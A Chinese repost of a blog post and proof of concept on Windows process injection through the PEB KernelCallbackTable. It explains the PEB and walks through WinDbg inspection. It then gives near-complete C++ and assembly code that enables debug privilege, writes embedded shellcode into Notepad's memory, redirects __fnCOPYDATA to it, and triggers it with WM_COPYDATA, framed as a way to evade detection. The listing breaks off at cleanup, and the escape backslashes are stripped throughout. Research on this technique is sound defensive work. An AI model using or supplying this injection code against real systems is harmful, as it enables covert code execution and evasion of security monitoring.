声明:该公众号分享的安全工具和项目均来源于网络,仅供安全研究与学习之用,如用于其他用途,由使用者承担全部法律及连带责任,与工具作者和本公众号无关。
原文地址:https://github.com/0xHossam/KernelCallbackTable-Injection-PoC
目录
-
用于进程注入的内核回调表
-
定位PEB
-
解析内核回调表
-
写入内核回调表
-
步骤 1 - 启用调试权限
-
步骤2-加载NtQueryInformationProcess
-
步骤 3 - 启动目标进程
-
步骤 4 - 定位目标窗口和进程 ID
-
步骤5——打开目标进程的句柄
-
步骤 6 - 检索 PEB 地址
-
步骤 7 - 读取内核回调表
-
步骤 8 - 为有效负载分配内存
-
步骤 9 - 修改内核回调表
-
步骤 10 - 使用修改后的表更新 PEB
-
步骤11-触发有效载荷
-
步骤 12 - 清理
-
定位 PEB 和内核回调表
-
分析内核回调表中的函数指针
-
目录
-
介绍
-
我的 PoC
-
了解进程环境块 (PEB)
-
探索内核回调表
-
定位并分析内核回调表
-
通过内核回调表操作进行进程注入
-
辅助汇编代码
-
把它们放在一起!
介绍
攻击者可以劫持进程环境块 (PEB) 中的内核回调表,以重定向进程的执行流程,从而使他们能够执行恶意负载。这种方法允许攻击者通过将合法函数指针替换为恶意函数指针(通常由 Windows 消息触发)来保持持久性。
MITRE 认为这种方法是一种劫持执行流程和持久性技术,FinFisher/FinSpy 和 Lazarus 等威胁组织也曾使用过这种方法。
在这篇博客中,我们将探索 PEB,如何操纵内核回调表,以及如何将此技术应用于进程注入以在目标进程内秘密执行代码。
PoC
链接 -> https://github.com/0xHossam/KernelCallbackTable-Injection-PoC
了解进程环境块 (PEB)
进程环境块(PEB)是 Windows 中每个正在运行的程序都依赖的一个关键结构。您可以将其视为“控制中心”或“枢纽”,其中包含有关程序如何运行以及如何与系统交互的重要信息。PEB 是进程内存空间的一部分,它可帮助操作系统和程序管理各种内部细节。
PEB 存储以下重要数据:
-
已加载模块- 这些是程序运行所需的动态链接库 (DLL) 或外部库。例如,程序通常依赖于系统库(如
kernel32.dll
或)提供的附加代码user32.dll
,而 PEB 会在加载这些库后跟踪它们。 -
堆信息- PEB 的这一部分包含有关程序内存管理的信息。“堆”是内存中的一个区域,程序在其中存储运行时所需的数据。PEB 有助于管理和监控此内存的使用情况,跟踪分配和释放。
-
进程启动时间——PEB 还存储进程创建的时间,这对于了解程序运行的时间很有用。
-
线程信息- 每个程序都通过“线程”运行任务或操作,PEB 包含有关这些线程的数据。这有助于操作系统管理程序同时运行的不同任务。
-
进程标志和设置- PEB 保存描述进程行为的标志和配置数据。这可能包括安全设置、用于调试的特殊标志,甚至进程是否作为另一个进程的子系统运行。
-
内存布局信息- PEB 还保存有关进程内存布局的数据,例如程序代码、数据和资源的不同部分在内存中的位置。
探索内核回调表
PEB 内有一个内核回调表,它是加载到图形用户界面 (GUI) 进程时初始化的函数指针数组user32.dll
。此表包含指向处理窗口消息和其他进程间通信的各种回调函数的指针。此表中的每个函数都对应特定的任务,例如处理数据传输消息或管理窗口销毁事件。
例如,__fnCOPYDATA
内核回调表内的函数在响应WM_COPYDATA
窗口消息时被调用。该函数有助于应用程序之间的数据传输,允许一个进程无缝地将数据发送到另一个进程。通过了解内核回调表内每个函数的结构和用途,我们可以理解进程如何交互并处理各种系统事件。
定位并分析内核回调表
内核回调表是 Windows 上 GUI 进程的**进程环境块 (PEB)**中的关键结构。攻击者可以通过将特定函数指针重定向到恶意负载来修改此表以劫持进程的执行流程。本指南提供了在 WinDbg 中定位和分析内核回调表以及了解其在进程注入中的作用的分步说明。
定位 PEB 和内核回调表
-
识别 PEB 结构
-
可以使用 WinDbg 中的 命令探索 PEB
dt
,该命令显示有关结构的详细信息。KernelCallbackTable
通常位于+0x058
PEB 内的偏移量处。 -
在 WinDbg 中使用以下命令:
dt ntdll!PEB
-
这将揭示 PEB 结构及其字段,包括
KernelCallbackTable
偏移量+0x058
,显示内核回调表指针所在的位置。 -
找到内核回调表地址
-
KernelCallbackTable
在PEB 中 识别字段后,通过以下方式访问该字段直接找到其地址:
dt ntdll!PEB @$peb.KernelCallbackTable
-
该命令提供PEB内的内核回调表的具体地址,其中包含一个函数指针数组。
-
检查内核回调表内容
-
获取内核回调表的地址后,使用
dqs
命令在 WinDbg 中显示其内容。此命令显示从指定地址开始的每个四字(64 位条目),揭示表内的回调函数指针。
dqs 0x00007ffa`29123070 L60
-
此命令显示内核回调表的前 60 个四字(480 字节),允许您直接检查回调函数地址。
分析内核回调表中的函数指针
在内核回调表中,每个条目都对应一个回调函数指针,进程在收到特定 Windows 消息时可能会调用该回调函数。某些函数指针(如__fnCOPYDATA
)尤其令人感兴趣,因为它们通过诸如 之类的消息处理数据传输WM_COPYDATA
。通过识别和分析这些指针,您可以了解进程如何处理某些事件。
-
识别
__fnCOPYDATA
条目 -
该
__fnCOPYDATA
函数常用于注入技术,因为它可以通过WM_COPYDATA
消息触发,从而允许数据在进程之间传递。 -
使用
dqs
带有内核回调表基地址的命令列出特定的函数指针,包括
__fnCOPYDATA
。
dqs 0x00007ffa`29123070 L10
-
示例输出:
00007ffa`29123070 00007ffa`290c2bd0 user32!_fnCOPYDATA
00007ffa`29123078 00007ffa`2911ae70 user32!_fnCOPYGLOBALDATA
00007ffa`29123080 00007ffa`290c0420 user32!_fnDWORD
... -
每个条目对应于内核回调表中的一个函数指针。这里,
user32!_fnCOPYDATA
显示的是的地址,当处理消息__fnCOPYDATA
时,可以重定向该地址以执行自定义代码。WM_COPYDATA
通过内核回调表操作进行进程注入
攻击者可以操纵进程的内核回调表来劫持其执行流,迫使其运行注入的代码。**内核回调表是进程的进程环境块 (PEB)**内的函数指针数组,当user32.dll
加载到任何图形用户界面 (GUI) 进程中时,会填充回调函数。这些回调函数可实现系统与进程之间的通信,从而使进程能够响应特定的 Windows 消息。
为了使用内核回调表劫持执行流,攻击者可以将一个或多个原始回调函数指针替换为指向恶意代码的指针。此方法提供了一种将执行从合法回调重定向到注入的有效载荷的方法。修改这些函数指针通常通过使用反射代码加载或进程注入来实现。例如,攻击者可以通过NtQueryInformationProcess
函数(一种公开进程内部的低级 Windows API 调用)检索 PEB 地址来找到内核回调表。找到 PEB 后,攻击者就可以访问内核回调表,并可以继续用__fnCOPYDATA
恶意有效载荷的地址替换回调函数指针(例如)。
经过此修改后,PEB 可以更新以引用已更改的内核回调表,该表现在包含注入的有效载荷。当向目标进程发送特定的 Windows 消息时,通常会触发恶意函数,从而激活已更改的回调函数,从而激活注入的有效载荷。由于此操作发生在目标进程的内存中,因此它通过掩盖在合法进程下执行有效载荷来有效地逃避检测。
一旦执行被劫持并且有效载荷被执行,高级对手可能会将原始内核回调表恢复到其合法状态以进一步逃避检测。
步骤 1 - 启用调试权限
在一个进程可以操作另一个进程的内存之前,出于测试目的,我有时需要启用调试权限。调试权限允许当前进程访问其他进程的敏感区域,这对于内存读写等任务必不可少。如果没有这些权限,Windows 安全性将限制对其他进程的访问,从而使注入变得不可能。
该EnableDebugPrivilege
函数通过修改当前进程的令牌来启用权限,从而提升权限SE_DEBUG_NAME
。
void EnableDebugPrivilege() {
printf( "[*] Enabling Debug Privilege...n" );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) {
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
} else {
printf( "[-] Failed to enable Debug Privilege.n" );
}
}
详细说明
-
OpenProcessToken打开当前进程的访问令牌的句柄,该访问令牌拥有安全特权。
-
LookupPrivilegeValue
SE_DEBUG_NAME
检索授予进程调试功能的权限的本地唯一标识符 (LUID) 。 -
AdjustTokenPrivileges设置令牌中的权限,启用调试权限,允许该进程对其他进程进行内存操作。
步骤2-加载NtQueryInformationProcess
函数NtQueryInformationProcess
来自ntdll.dll
一个低级 Windows API 函数,它提供对进程特定信息的访问,包括进程环境块 (PEB)。PEB 包含诸如内核回调表之类的结构,该表存储指向各种回调函数的指针。此函数必须动态加载,因为它通常无法通过标准 Windows 标头访问。
typedef NTSTATUS( NTAPI* pNtQueryInformationProcess )( HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG );
void LoadNtQueryInformationProcess( pNtQueryInformationProcess &NtQueryInformationProcess ) {
printf( "[*] Loading NtQueryInformationProcess...n" );
HMODULE hNtdll = GetModuleHandleA( "ntdll.dll" );
if ( hNtdll ) {
NtQueryInformationProcess = ( pNtQueryInformationProcess ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess ) {
printf( "[+] NtQueryInformationProcess loaded successfully at address: 0x%pn", NtQueryInformationProcess );
} else {
printf( "[-] Failed to resolve NtQueryInformationProcess address.n" );
}
}
}
详细说明
-
GetModuleHandle加载
ntdll.dll
到进程中,从而可以访问其功能。 -
GetProcAddress检索的地址
NtQueryInformationProcess
,以便稍后调用此函数来收集有关目标进程的详细信息。
步骤 3 - 启动目标进程
进程注入首先要创建一个记事本实例,该实例将作为注入代码的目标。本示例使用记事本,因为它是一个简单、众所周知的应用程序,允许对注入进程进行受控测试。
STARTUPINFO si = { sizeof( si ) };
PROCESS_INFORMATION pi;
printf( "[*] Creating new Notepad process...n" );
if ( !CreateProcess( L"C:\Windows\System32\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) ) {
printf( "[-] Failed to create Notepad process. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Notepad process created successfully. PID: %dn", pi.dwProcessId );
详细说明
-
CreateProcess在新的控制台中启动记事本,其中的进程信息存储在 中
pi
。生成的进程 ID (pi.dwProcessId
) 至关重要,因为它可以识别记事本进程,以便进行后续的内存操作。
步骤 4 - 定位目标窗口和进程 ID
代码定位记事本的窗口句柄并检索其进程 ID。此句柄提供与记事本的连接,从而可以打开句柄来操作其内存。
HWND hWindow = NULL;
DWORD waitTime = 0;
const DWORD MAX_WAIT_TIME = 10000;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME ) {
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow ) {
Sleep( 500 );
waitTime += 500;
}
}
if ( !hWindow ) {
printf( "[-] Failed to find Notepad window handle after waiting for %d milliseconds.n", MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( "[+] Window Handle found: 0x%pn", hWindow );
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( "[+] Process ID: %dn", pid );
详细说明
-
FindWindow根据名称搜索记事本的窗口类并找到其句柄。如果找到句柄,
GetWindowThreadProcessId
则检索关联的进程 ID。 -
此进程 ID 是打开句柄以直接访问记事本内存所必需的。
步骤5——打开目标进程的句柄
利用进程 ID,代码会打开记事本的句柄。此句柄允许直接访问进程的内存,这对于注入至关重要。
HANDLE hProcess = OpenProcess( PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pid );
if ( !hProcess ) {
printf( "[-] Failed to open target process. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Process Handle: 0x%pn", hProcess );
详细说明
-
OpenProcess打开一个具有内存读写和查询操作权限的句柄,允许注入器与记事本的内存进行交互。
步骤 6 - 检索 PEB 地址
NtQueryInformationProcess
用于获取目标进程的PEB地址,PEB中包含了内核回调表,这也是本次注入技术修改的重点。
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess( hProcess, ProcessBasicInformation, &pbi, sizeof( pbi ), &returnLength );
if ( status != 0 ) {
printf( "[-] Failed to query process information. NTSTATUS: 0x%lxn", status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( "[*] PEB Address: 0x%pn", PebBaseAddress );
详细说明
-
NtQueryInformationProcess填充
PROCESS_BASIC_INFORMATION
结构,包括PebBaseAddress
,授予对 PEB 的访问权限,以便进一步操作内核回调表。
步骤 7 - 读取内核回调表
利用 PEB 地址,代码可以读取内核回调表的内存地址,从而可以修改该表内的函数指针来控制回调。
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &KernelCallbackTable, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] Failed to read KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
printf( "[*] KernelCallbackTable Address: 0x%pn", KernelCallbackTable );
详细说明
-
ReadProcessMemory
访问距 PEB 地址偏移量的内核回调表,从而可以访问控制某些回调函数的指针。
步骤 8 - 为有效负载分配内存
有效载荷(通常是 shellcode)被分配在目标进程的内存空间内。内存被标记为可执行,以确保代码可以运行。
unsigned char my_payload[] = "...";
SIZE_T shellcodeSize = sizeof( my_payload );
LPVOID remotebuf = VirtualAllocEx( hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE
_EXECUTE_READWRITE );
if ( !remotebuf ) {
printf( "[-] Failed to allocate remote buffer. Error: %dn", GetLastError() );
return -1;
}
if ( !WriteProcessMemory( hProcess, remotebuf, my_payload, shellcodeSize, NULL ) ) {
printf( "[-] Failed to write payload to remote buffer. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Payload written to remote buffer at: 0x%pn", remotebuf );
详细说明
-
VirtualAllocEx在目标进程中分配内存并用 标记
PAGE_EXECUTE_READWRITE
,使其可写且可执行。 -
WriteProcessMemory将 shellcode 写入分配的空间,使其在触发时运行。
步骤 9 - 修改内核回调表
通过将指针重定向到注入的有效载荷来修改内核回调表__fnCOPYDATA
。这使得 Windows 在消息期间调用有效载荷WM_COPYDATA
。
KERNELCALLBACKTABLE cKCT;
if ( !ReadProcessMemory( hProcess, KernelCallbackTable, &cKCT, sizeof( cKCT ), &bytesRead ) ) {
printf( "[-] Failed to read existing KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
cKCT.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
LPVOID clonedcKCT = VirtualAllocEx( hProcess, NULL, sizeof( cKCT ), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE );
if ( !clonedcKCT || !WriteProcessMemory( hProcess, clonedcKCT, &cKCT, sizeof( cKCT ), NULL ) ) {
printf( "[-] Failed to clone KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
详细说明
-
ReadProcessMemory
检索内核回调表结构。该__fnCOPYDATA
字段被重定向为指向有效负载,以便在WM_COPYDATA
收到消息时执行该有效负载。
步骤 10 - 使用修改后的表更新 PEB
修改后的内核回调表被写入 PEB,确保 Windows 引用此修改后的版本。
if ( !WriteProcessMemory( hProcess, ( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ), &clonedcKCT, sizeof( PVOID ), &bytesRead ) ) {
printf( "[-] Failed to update PEB KernelCallbackTable. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] PEB KernelCallbackTable updated successfully!n" );
详细说明
-
WriteProcessMemory
将修改后的表写入PEB,使改变的回调结构处于活动状态,准备触发有效载荷。
步骤11-触发有效载荷
代码发送一条WM_COPYDATA
消息,激活__fnCOPYDATA
内核回调表中的函数,执行有效载荷。
COPYDATASTRUCT cds;
WCHAR msg[] = L"trigger";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage( hWindow, WM_COPYDATA, ( WPARAM ) hWindow, ( LPARAM ) &cds );
if ( result == 0 && GetLastError() != 0 ) {
printf( "[-] Failed to send message to trigger payload. Error: %dn", GetLastError() );
return -1;
}
printf( "[+] Payload triggered!n" );
步骤 12 - 清理
最后,释放内存分配并关闭句柄,确保干净退出并最大限度地降低检测风险。
VirtualFreeEx( hProcess, remotebuf, 0, MEM_RELEASE );
VirtualFreeEx( hProcess, clonedcKCT, 0, MEM_RELEASE );
CloseHandle( hProcess );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
printf( "[+] Cleanup completed successfully.n" );
此过程演示了通过内核回调表操作逐步进行代码注入,提供对目标进程上下文中执行的完全控制。
辅助汇编代码
为了增强注入过程,我们使用了 中定义的一些汇编函数helper.asm
。这些函数帮助我们更有效地定位 PEB 和操作内核回调表。
定位PEB
此函数通过访问段寄存器来检索当前进程的 PEB 地址gs
,该地址指向 x64 架构中的线程信息块 (TIB)。
LocatePEB PROC
mov rax, qword ptr gs:[60h] ; Access PEB in x64
ret
LocatePEB ENDP
解析内核回调表
给定寄存器中的 PEB 地址,此函数通过访问PEB 结构内RCX
偏移量的内存来检索内核回调表的地址。0x58
ResolveKernelCallbackTable PROC
mov rax, qword ptr [rcx + 58h] ; Offset for KernelCallbackTable in PEB (0x58)
ret
ResolveKernelCallbackTable ENDP
写入内核回调表
此函数通过将新地址写入指定偏移量来更新 PEB 中的内核回调表地址。
WriteKernelCallbackTable PROC
mov qword ptr [rcx + 58h], rdx ; Write the new KernelCallbackTable address
ret
WriteKernelCallbackTable ENDP
这些汇编函数简化了与PEB和内核回调表交互的过程,使我们的C++代码更干净、更高效。
把它们放在一起!
主程序
#include <stdio.h>
#include <windows.h>
#include "struct.h"
#include "helper.h"
void LoadNtQueryInformationProcess()
{
printf( COLOR_YELLOW_BOLD "[*] Loading NtQueryInformationProcess...n" COLOR_RESET );
HMODULE hNtdll = GetModuleHandle( L"ntdll.dll" );
if ( hNtdll )
{
NtQueryInformationProcess = ( PFN_NTQUERYINFORMATIONPROCESS ) GetProcAddress( hNtdll, "NtQueryInformationProcess" );
if ( NtQueryInformationProcess )
{
printf( COLOR_GREEN_BOLD "[+] NtQueryInformationProcess loaded successfully at address: 0x%pn" COLOR_RESET, NtQueryInformationProcess );
}
else
{
printf( COLOR_RED_BOLD "t[-] Failed to resolve NtQueryInformationProcess address.n" COLOR_RESET );
}
}
}
void EnableDebugPrivilege()
{
printf( COLOR_YELLOW_BOLD "[*] Enabling Debug Privilege...n" COLOR_RESET );
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if ( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &tkp.Privileges[ 0 ].Luid );
tkp.PrivilegeCount = 1;
tkp.Privileges[ 0 ].Attributes = SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof( tkp ), NULL, NULL );
CloseHandle( hToken );
// printf( COLOR_GREEN_BOLD "t[+] Debug Privilege enabled.n" COLOR_RESET );
}
else
{
printf( COLOR_RED_BOLD "t[-] Failed to enable Debug Privilege.n" COLOR_RESET );
}
}
unsigned char payload[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x00";
SIZE_T shellcodeSize = sizeof( payload ) - 1;
SIZE_T bytesRead = 0;
int main()
{
printf( COLOR_YELLOW_BOLD "[*] Initializing exploit...n" COLOR_RESET );
EnableDebugPrivilege();
LoadNtQueryInformationProcess();
if ( !NtQueryInformationProcess )
{
printf( COLOR_RED_BOLD "t[-] NtQueryInformationProcess is NULL. Exiting...n" COLOR_RESET );
return -1;
}
printf( COLOR_YELLOW_BOLD "[*] Starting PEB KernelCallbackTable Injection Exploit...nn" COLOR_RESET );
// Step 1: Create a new Notepad process (ensure it is visible to the user)
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { sizeof( STARTUPINFO ) };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
printf( COLOR_YELLOW_BOLD "t[*] Creating new Notepad process...n" COLOR_RESET );
if ( !CreateProcess(
L"C:\Windows\System32\notepad.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to create Notepad process. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Notepad process created successfully. PID: %dn" COLOR_RESET, pi.dwProcessId );
// Step 2: Wait for the new process to initialize
printf( COLOR_YELLOW_BOLD "t[*] Waiting for Notepad initialization...n" COLOR_RESET );
WaitForInputIdle( pi.hProcess, 1000 );
// Step 3: Find the Notepad window handle
HWND hWindow = NULL;
DWORD waitTime = 0;
while ( hWindow == NULL && waitTime < MAX_WAIT_TIME )
{
hWindow = FindWindow( L"Notepad", NULL );
if ( !hWindow )
{
Sleep( 500 ); // Wait for 500 ms before retrying
waitTime += 500;
}
}
if ( !hWindow )
{
printf( COLOR_RED_BOLD "t[-] Failed to find Notepad window handle after waiting for %d milliseconds.n" COLOR_RESET, MAX_WAIT_TIME );
TerminateProcess( pi.hProcess, 0 );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Window Handle found: 0x%pn" COLOR_RESET, hWindow );
// Step 4: Get the process ID of the Notepad
DWORD pid;
GetWindowThreadProcessId( hWindow, &pid );
printf( COLOR_GREEN_BOLD "t[+] Process ID: %dn" COLOR_RESET, pid );
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
pid
);
if ( !hProcess )
{
printf( COLOR_RED_BOLD "t[-] Failed to open target process. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Process Handle: 0x%pn" COLOR_RESET, hProcess );
// -----------------------------------------------------
// Using NtQueryInformationProcess to get PEB
// -----------------------------------------------------
printf( COLOR_YELLOW_BOLD "t[*] Retrieving PEB Address using NtQueryInformationProcess...n" COLOR_RESET );
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
NTSTATUS status = NtQueryInformationProcess(
hProcess,
ProcessBasicInformation,
&pbi,
sizeof( pbi ),
&returnLength
);
if ( status != 0 )
{
printf( COLOR_RED_BOLD "t[-] Failed to query process information. NTSTATUS: 0x%lxn" COLOR_RESET, status );
return -1;
}
PVOID PebBaseAddress = pbi.PebBaseAddress;
printf( COLOR_BLUE_BOLD "tt[*] PEB Address: 0x%pn" COLOR_RESET, PebBaseAddress );
// Step 6: Read KernelCallbackTable from the target process's PEB
PVOID KernelCallbackTable;
SIZE_T bytesRead = 0;
if ( !ReadProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&KernelCallbackTable,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to read KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_BLUE_BOLD "tt[*] KernelCallbackTable Address: 0x%pn" COLOR_RESET, KernelCallbackTable );
// Step 7: Read KernelCallbackTable structure from the target process
KERNELCALLBACKTABLE CCC;
if ( !ReadProcessMemory(
hProcess,
KernelCallbackTable,
&CCC,
sizeof( CCC ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to read KernelCallbackTable structure. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "nt[+] KernelCallbackTable read successfully. %zu bytes read.n" COLOR_RESET, bytesRead );
printf( COLOR_BLUE_BOLD "tt[*] Dumping KernelCallbackTable structure:n" COLOR_RESET );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYDATA: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYDATA );
printf( COLOR_GREEN_BOLD "ttt__fnCOPYGLOBALDATA: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnCOPYGLOBALDATA );
printf( COLOR_GREEN_BOLD "ttt__fnDWORD: 0x%pn" COLOR_RESET, ( void* ) CCC.__fnDWORD );
// -----------------------------------------------------
// Assembly Method: Using LocatePEB and ResolveKernelCallbackTable
// -----------------------------------------------------
/*
//
printf( COLOR_YELLOW_BOLD "t[*] Retrieving PEB Address using Assembly...n" COLOR_RESET );
PVOID PebBaseAddressASM = LocatePEB();
printf( COLOR_BLUE_BOLD "tt[*] PEB Address (from ASM): 0x%pn" COLOR_RESET, PebBaseAddressASM );
printf( COLOR_YELLOW_BOLD "t[*] Resolving KernelCallbackTable using Assembly...n" COLOR_RESET );
PVOID KernelCallbackTableASM = ResolveKernelCallbackTable( PebBaseAddressASM );
printf( COLOR_BLUE_BOLD "tt[*] KernelCallbackTable Address (from ASM): 0x%pn" COLOR_RESET, KernelCallbackTableASM );
// Continue using KernelCallbackTableASM as needed
*/
// Step 8: Write payload to remote buffer
printf( COLOR_YELLOW_BOLD "nt[*] Allocating remote buffer for payload...n" COLOR_RESET );
LPVOID remotebuf = VirtualAllocEx(
hProcess,
NULL,
shellcodeSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
if ( !remotebuf )
{
printf( COLOR_RED_BOLD "t[-] Failed to allocate remote buffer. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
remotebuf,
payload,
shellcodeSize,
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to write payload to remote buffer. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Payload written to remote buffer at: 0x%pn" COLOR_RESET, remotebuf );
// Step 9: Modify __fnCOPYDATA in the KernelCallbackTable
printf( COLOR_YELLOW_BOLD "t[*] Modifying __fnCOPYDATA to point to payload...n" COLOR_RESET );
CCC.__fnCOPYDATA = ( ULONG_PTR ) remotebuf;
printf( COLOR_BLUE_BOLD "tt[*] __fnCOPYDATA now points to: 0x%pn" COLOR_RESET, remotebuf );
// Step 10: Clone modified KernelCallbackTable
printf( COLOR_YELLOW_BOLD "nt[*] Cloning modified KernelCallbackTable...n" COLOR_RESET );
LPVOID cloneCCC = VirtualAllocEx(
hProcess,
NULL,
sizeof( CCC ),
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE
);
if ( !cloneCCC )
{
printf( COLOR_RED_BOLD "t[-] Failed to allocate memory for cloned KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
if ( !WriteProcessMemory(
hProcess,
cloneCCC,
&CCC,
sizeof( CCC ),
NULL
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to write cloned KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Cloned KernelCallbackTable written at: 0x%pn" COLOR_RESET, cloneCCC );
// Step 11: Update PEB KernelCallbackTable to cloned KernelCallbackTable
printf( COLOR_YELLOW_BOLD "t[*] Updating PEB with cloned KernelCallbackTable...n" COLOR_RESET );
if ( !WriteProcessMemory(
hProcess,
( PBYTE ) PebBaseAddress + offsetof( PEB, KernelCallbackTable ),
&cloneCCC,
sizeof( PVOID ),
&bytesRead
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to update PEB KernelCallbackTable. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] PEB KernelCallbackTable updated successfully!n" COLOR_RESET );
// Step 12: Ensure Memory Protection for Payload
DWORD oldProtect;
if ( !VirtualProtectEx(
hProcess,
remotebuf,
shellcodeSize,
PAGE_EXECUTE_READ,
&oldProtect
) )
{
printf( COLOR_RED_BOLD "t[-] Failed to change memory protection for payload. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Memory protection for payload set to PAGE_EXECUTE_READ.n" COLOR_RESET );
// Step 13: Trigger the payload
printf( COLOR_YELLOW_BOLD "t[*] Sending message to trigger the payload...n" COLOR_RESET );
COPYDATASTRUCT cds;
WCHAR msg[] = L"LJX";
cds.dwData = 1;
cds.cbData = ( lstrlenW( msg ) + 1 ) * sizeof( WCHAR );
cds.lpData = msg;
LRESULT result = SendMessage(
hWindow,
WM_COPYDATA,
( WPARAM ) hWindow,
( LPARAM ) &cds
);
if ( result == 0 && GetLastError() != 0 )
{
printf( COLOR_RED_BOLD "t[-] Failed to send message to trigger payload. Error: %dn" COLOR_RESET, GetLastError() );
return -1;
}
printf( COLOR_GREEN_BOLD "t[+] Payload triggered!n" COLOR_RESET );
// Cleanup
